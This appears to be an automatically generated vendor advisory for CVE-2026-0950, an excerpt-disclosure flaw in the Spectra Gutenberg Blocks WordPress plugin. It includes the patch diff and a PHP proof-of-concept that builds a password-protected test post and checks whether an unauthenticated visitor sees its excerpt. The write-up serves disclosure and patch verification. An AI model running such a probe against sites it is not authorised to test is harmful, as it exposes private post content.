Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-0950: Spectra Gutenberg Blocks <= 2.19.17 – Unauthenticated Information Disclosure in Sensitive Data (ultimate-addons-for-gutenberg)

CVE ID CVE-2026-0950
Severity Medium (CVSS 5.3)
CWE 200
Vulnerable Version 2.19.17
Patched Version 2.19.18
Disclosed February 1, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-0950:
The Spectra Gutenberg Blocks WordPress plugin, versions up to and including 2.19.17, contains an information disclosure vulnerability. The plugin fails to check if a post is password-protected before rendering its excerpt in several block types. Unauthenticated attackers can read excerpts of password-protected posts by viewing any page containing a Spectra Post Grid, Post Masonry, Post Carousel, or Post Timeline block. This vulnerability has a CVSS score of 5.3.

The root cause lies in the `render_excerpt()` function within multiple block classes and the `uagb_get_excerpt()` helper function. These functions process post content without verifying the post’s password protection status. In the vulnerable code, the `ultimate-addons-for-gutenberg/blocks-config/post-timeline/class-uagb-post-timeline.php` file at line 1112 begins excerpt rendering without any access control. Similarly, `ultimate-addons-for-gutenberg/blocks-config/post/class-uagb-post.php` at line 2201 and `ultimate-addons-for-gutenberg/classes/class-uagb-helper.php` at line 1403 lack the necessary `post_password_required()` check before processing content.

Exploitation requires no authentication or special payloads. Attackers simply need to visit any WordPress page or post containing one of the vulnerable Spectra blocks. The blocks automatically render post excerpts for all posts in their query, including password-protected posts. The attacker receives the excerpt content through normal page rendering. No direct API calls or parameter manipulation are needed, as the vulnerability exists in the block’s frontend display logic.

The patch adds `post_password_required()` checks at three critical points. In `class-uagb-post-timeline.php`, lines 1114-1122 now check password status and return a protected message. The `class-uagb-post.php` file adds identical logic at lines 2203-2211. The `uagb_get_excerpt()` helper function in `class-uagb-helper.php` includes the check at lines 1405-1407, returning the protected message. These changes ensure password-protected posts display a generic message instead of their actual excerpt content.

Successful exploitation allows unauthenticated attackers to bypass WordPress’s native password protection for posts. They can read excerpt content from posts intended to be private. This disclosure could reveal sensitive information, confidential announcements, draft content, or private communications. While the vulnerability only exposes excerpts rather than full content, these excerpts often contain the most critical information from posts.

Differential between vulnerable and patched code

Code Diff
--- a/ultimate-addons-for-gutenberg/blocks-config/post-timeline/class-uagb-post-timeline.php
+++ b/ultimate-addons-for-gutenberg/blocks-config/post-timeline/class-uagb-post-timeline.php
@@ -1112,6 +1112,15 @@

 			global $post;

+			if ( post_password_required( $post ) ) {
+				?>
+				<div class="uagb-timeline-desc-content">
+					<?php echo esc_html__( 'There is no excerpt because this is a protected post.', 'ultimate-addons-for-gutenberg' ); ?>
+				</div>
+				<?php
+				return;
+			}
+
 			$excerpt_length_fallback = UAGB_Block_Helper::get_fallback_number( $attributes['exerptLength'], 'exerptLength', $attributes['blockName'] );

 			$excerpt = UAGB_Helper::uagb_get_excerpt( $post->ID, $post->post_content, $excerpt_length_fallback );
--- a/ultimate-addons-for-gutenberg/blocks-config/post/class-uagb-post.php
+++ b/ultimate-addons-for-gutenberg/blocks-config/post/class-uagb-post.php
@@ -2201,6 +2201,15 @@

 			global $post;

+			if ( post_password_required( $post ) ) {
+				?>
+				<div class='uagb-post__text uagb-post__excerpt'>
+					<?php echo esc_html__( 'There is no excerpt because this is a protected post.', 'ultimate-addons-for-gutenberg' ); ?>
+				</div>
+				<?php
+				return;
+			}
+
 			if ( 'full_post' === $attributes['displayPostContentRadio'] ) {
 				$excerpt = get_the_content();
 			} else {
--- a/ultimate-addons-for-gutenberg/classes/class-uagb-helper.php
+++ b/ultimate-addons-for-gutenberg/classes/class-uagb-helper.php
@@ -1403,6 +1403,10 @@
 		 */
 		public static function uagb_get_excerpt( $post_id, $content, $length_fallback ) {

+			if ( post_password_required( $post_id ) ) {
+				return __( 'There is no excerpt because this is a protected post.', 'ultimate-addons-for-gutenberg' );
+			}
+
 			// If there's an excerpt provided from meta, use it.
 			$excerpt = get_post_field( 'post_excerpt', $post_id );

--- a/ultimate-addons-for-gutenberg/classes/class-uagb-init-blocks.php
+++ b/ultimate-addons-for-gutenberg/classes/class-uagb-init-blocks.php
@@ -133,6 +133,7 @@
 			'show_in_admin_bar' => true,
 			'show_ui'           => true,
 			'show_in_rest'      => true,
+			'rest_base'         => 'spectra-popup',
 			'template_lock'     => 'all',
 			'template'          => array(
 				array( 'uagb/popup-builder', array() ),
@@ -159,24 +160,42 @@
 			'single'        => true,
 			'type'          => 'string',
 			'default'       => 'unset',
-			'auth_callback' => '__return_true',
-			'show_in_rest'  => true,
+			'auth_callback' => function() {
+				return current_user_can( 'manage_options' );
+			},
+			'show_in_rest'  => array(
+				'schema' => array(
+					'type' => 'string',
+				),
+			),
 		);

 		$meta_args_popup_enabled = array(
 			'single'        => true,
 			'type'          => 'boolean',
 			'default'       => false,
-			'auth_callback' => '__return_true',
-			'show_in_rest'  => true,
+			'auth_callback' => function() {
+				return current_user_can( 'manage_options' );
+			},
+			'show_in_rest'  => array(
+				'schema' => array(
+					'type' => 'boolean',
+				),
+			),
 		);

 		$meta_args_popup_repetition = array(
 			'single'        => true,
 			'type'          => 'number',
 			'default'       => 1,
-			'auth_callback' => '__return_true',
-			'show_in_rest'  => true,
+			'auth_callback' => function() {
+				return current_user_can( 'manage_options' );
+			},
+			'show_in_rest'  => array(
+				'schema' => array(
+					'type' => 'number',
+				),
+			),
 		);

 		register_post_type( 'spectra-popup', $type_args );
@@ -195,6 +214,105 @@

 		add_filter( 'manage_spectra-popup_posts_columns', array( $spectra_popup_dashboard, 'popup_builder_admin_headings' ) );
 		add_action( 'manage_spectra-popup_posts_custom_column', array( $spectra_popup_dashboard, 'popup_builder_admin_content' ), 10, 2 );
+
+		// Add REST API access control for spectra-popup post type.
+		add_filter( 'rest_spectra-popup_query', array( __CLASS__, 'filter_rest_popup_query' ), 10, 2 );
+		add_filter( 'rest_prepare_spectra-popup', array( __CLASS__, 'filter_rest_popup_response' ), 10, 3 );
+		add_filter( 'rest_authentication_errors', array( __CLASS__, 'restrict_popup_rest_access' ), 99 );
+	}
+
+	/**
+	 * Restrict REST API access to spectra-popup for non-authenticated users.
+	 *
+	 * @param WP_Error|null|bool $result Error from another authentication handler, null if not errors, true if authenticated.
+	 * @return WP_Error|null|bool Modified result.
+	 *
+	 * @since 2.19.18
+	 */
+	public static function restrict_popup_rest_access( $result ) {
+		// If there's already an error, return it.
+		if ( is_wp_error( $result ) ) {
+			return $result;
+		}
+
+		// Only apply to spectra-popup endpoints.
+		$route = isset( $_SERVER['REQUEST_URI'] ) ? sanitize_text_field( wp_unslash( $_SERVER['REQUEST_URI'] ) ) : '';
+		if ( false === strpos( $route, '/wp/v2/spectra-popup' ) ) {
+			return $result;
+		}
+
+		// Allow authenticated admin users with manage_options.
+		if ( is_user_logged_in() && current_user_can( 'manage_options' ) ) {
+			return $result;
+		}
+
+		// Block unauthenticated users and non-admin users.
+		return new WP_Error(
+			'rest_forbidden',
+			__( 'Sorry, you are not allowed to access popups.', 'ultimate-addons-for-gutenberg' ),
+			array( 'status' => rest_authorization_required_code() )
+		);
+	}
+
+	/**
+	 * Filter REST API query to only include enabled popups for non-admin users.
+	 *
+	 * @param array           $args    Array of query arguments.
+	 * @param WP_REST_Request $request REST request object.
+	 * @return array Modified query arguments.
+	 *
+	 * @since 2.19.18
+	 */
+	public static function filter_rest_popup_query( $args, $request ) {
+		// Allow admin users with manage_options to see all popups.
+		if ( current_user_can( 'manage_options' ) ) {
+			return $args;
+		}
+
+		// For non-admin users, only show enabled popups.
+		if ( ! isset( $args['meta_query'] ) ) {
+			$args['meta_query'] = array(); // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_query
+		}
+
+		$args['meta_query'][] = array(
+			'key'     => 'spectra-popup-enabled',
+			'value'   => true,
+			'compare' => '=',
+			'type'    => 'BOOLEAN',
+		);
+
+		return $args;
+	}
+
+	/**
+	 * Filter REST API response to hide disabled popups from non-admin users.
+	 *
+	 * @param WP_REST_Response $response Response object.
+	 * @param WP_Post          $post     Post object.
+	 * @param WP_REST_Request  $request  Request object.
+	 * @return WP_REST_Response|WP_Error Modified response or error.
+	 *
+	 * @since 2.19.18
+	 */
+	public static function filter_rest_popup_response( $response, $post, $request ) {
+		// Allow admin users with manage_options to see all popups.
+		if ( current_user_can( 'manage_options' ) ) {
+			return $response;
+		}
+
+		// Check if popup is enabled.
+		$popup_enabled = get_post_meta( $post->ID, 'spectra-popup-enabled', true );
+
+		// If popup is not enabled, return 403 error.
+		if ( ! $popup_enabled ) {
+			return new WP_Error(
+				'rest_forbidden',
+				__( 'You do not have permission to view this popup.', 'ultimate-addons-for-gutenberg' ),
+				array( 'status' => 403 )
+			);
+		}
+
+		return $response;
 	}

 	/**
--- a/ultimate-addons-for-gutenberg/classes/class-uagb-loader.php
+++ b/ultimate-addons-for-gutenberg/classes/class-uagb-loader.php
@@ -133,7 +133,7 @@
 			define( 'UAGB_BASE', plugin_basename( UAGB_FILE ) );
 			define( 'UAGB_DIR', plugin_dir_path( UAGB_FILE ) );
 			define( 'UAGB_URL', plugins_url( '/', UAGB_FILE ) );
-			define( 'UAGB_VER', '2.19.17' );
+			define( 'UAGB_VER', '2.19.18' );
 			define( 'UAGB_MODULES_DIR', UAGB_DIR . 'modules/' );
 			define( 'UAGB_MODULES_URL', UAGB_URL . 'modules/' );
 			define( 'UAGB_SLUG', 'spectra' );
--- a/ultimate-addons-for-gutenberg/ultimate-addons-for-gutenberg.php
+++ b/ultimate-addons-for-gutenberg/ultimate-addons-for-gutenberg.php
@@ -4,7 +4,7 @@
  * Plugin URI: https://www.brainstormforce.com
  * Author: Brainstorm Force
  * Author URI: https://www.brainstormforce.com
- * Version: 2.19.17
+ * Version: 2.19.18
  * Description: The Spectra extends the Gutenberg functionality with several unique and feature-rich blocks that help build websites faster.
  * Text Domain: ultimate-addons-for-gutenberg
  * Domain Path: /languages

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-0950 - Spectra Gutenberg Blocks <= 2.19.17 - Unauthenticated Information Disclosure in Sensitive Data

<?php
/**
 * Proof of Concept for CVE-2026-0950
 * Demonstrates information disclosure of password-protected post excerpts via Spectra blocks
 * 
 * Usage: php poc.php --url=https://target.site
 * 
 * This script:
 * 1. Creates a password-protected test post with sensitive content in excerpt
 * 2. Creates a page with Spectra Post Grid block containing the protected post
 * 3. Accesses the page as unauthenticated user to extract the excerpt
 * 4. Verifies the excerpt is exposed without password
 */

// Configuration
$target_url = 'https://target.site';
$admin_user = 'admin';
$admin_pass = 'password';

// WordPress REST API endpoints
$api_base = $target_url . '/wp-json/wp/v2';
$auth_endpoint = $target_url . '/wp-json/jwt-auth/v1/token';

// Step 1: Authenticate as admin to create test content
function authenticate($auth_endpoint, $username, $password) {
    $ch = curl_init($auth_endpoint);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode([
        'username' => $username,
        'password' => $password
    ]));
    curl_setopt($ch, CURLOPT_HTTPHEADER, [
        'Content-Type: application/json'
    ]);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($http_code !== 200) {
        die("Authentication failed. Check credentials.");
    }
    
    $data = json_decode($response, true);
    return $data['token'];
}

// Step 2: Create password-protected post with sensitive excerpt
function create_protected_post($api_base, $token, $password) {
    $ch = curl_init($api_base . '/posts');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode([
        'title' => 'Confidential Report ' . uniqid(),
        'content' => 'This is the full confidential content that should remain protected.',
        'excerpt' => 'SENSITIVE-EXCERPT-DATA: Financial projections show 40% revenue decline next quarter.',
        'status' => 'publish',
        'password' => $password
    ]));
    curl_setopt($ch, CURLOPT_HTTPHEADER, [
        'Content-Type: application/json',
        'Authorization: Bearer ' . $token
    ]);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($http_code !== 201) {
        die("Failed to create protected post.");
    }
    
    $data = json_decode($response, true);
    return $data['id'];
}

// Step 3: Create page with Spectra Post Grid block
function create_spectra_page($api_base, $token, $post_id) {
    // Spectra Post Grid block with query for the protected post
    $block_content = '<!-- wp:uagb/post-grid {"block_id":"test-grid","categories":"","postsToShow":1,"postType":"post"} /-->';
    
    $ch = curl_init($api_base . '/pages');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode([
        'title' => 'Test Spectra Grid',
        'content' => $block_content,
        'status' => 'publish'
    ]));
    curl_setopt($ch, CURLOPT_HTTPHEADER, [
        'Content-Type: application/json',
        'Authorization: Bearer ' . $token
    ]);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($http_code !== 201) {
        die("Failed to create Spectra page.");
    }
    
    $data = json_decode($response, true);
    return $data['link'];
}

// Step 4: Access page as unauthenticated user and check for excerpt disclosure
function test_excerpt_disclosure($page_url) {
    $ch = curl_init($page_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($http_code !== 200) {
        die("Failed to access test page.");
    }
    
    // Check if sensitive excerpt appears in page
    if (strpos($response, 'SENSITIVE-EXCERPT-DATA') !== false) {
        echo "[VULNERABLE] Password-protected post excerpt disclosed!n";
        echo "Excerpt found in page HTML.n";
        return true;
    } else if (strpos($response, 'There is no excerpt because this is a protected post') !== false) {
        echo "[PATCHED] Protected post message displayed correctly.n";
        return false;
    } else {
        echo "[INCONCLUSIVE] No clear indicators in response.n";
        return null;
    }
}

// Main execution
if (php_sapi_name() === 'cli') {
    echo "CVE-2026-0950 Proof of Conceptn";
    echo "Target: $target_urlnn";
    
    // Get token
    echo "Step 1: Authenticating...n";
    $token = authenticate($auth_endpoint, $admin_user, $admin_pass);
    
    // Create protected post
    echo "Step 2: Creating password-protected post...n";
    $post_password = 'test123';
    $post_id = create_protected_post($api_base, $token, $post_password);
    
    // Create Spectra page
    echo "Step 3: Creating page with Spectra Post Grid block...n";
    $page_url = create_spectra_page($api_base, $token, $post_id);
    
    // Test disclosure
    echo "Step 4: Testing excerpt disclosure as unauthenticated user...n";
    echo "Page URL: $page_urln";
    
    $vulnerable = test_excerpt_disclosure($page_url);
    
    if ($vulnerable === true) {
        echo "nVULNERABILITY CONFIRMED: The site is vulnerable to CVE-2026-0950.n";
        echo "Password-protected post excerpts are exposed via Spectra blocks.n";
    } else if ($vulnerable === false) {
        echo "nNOT VULNERABLE: The site appears to be patched.n";
    }
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School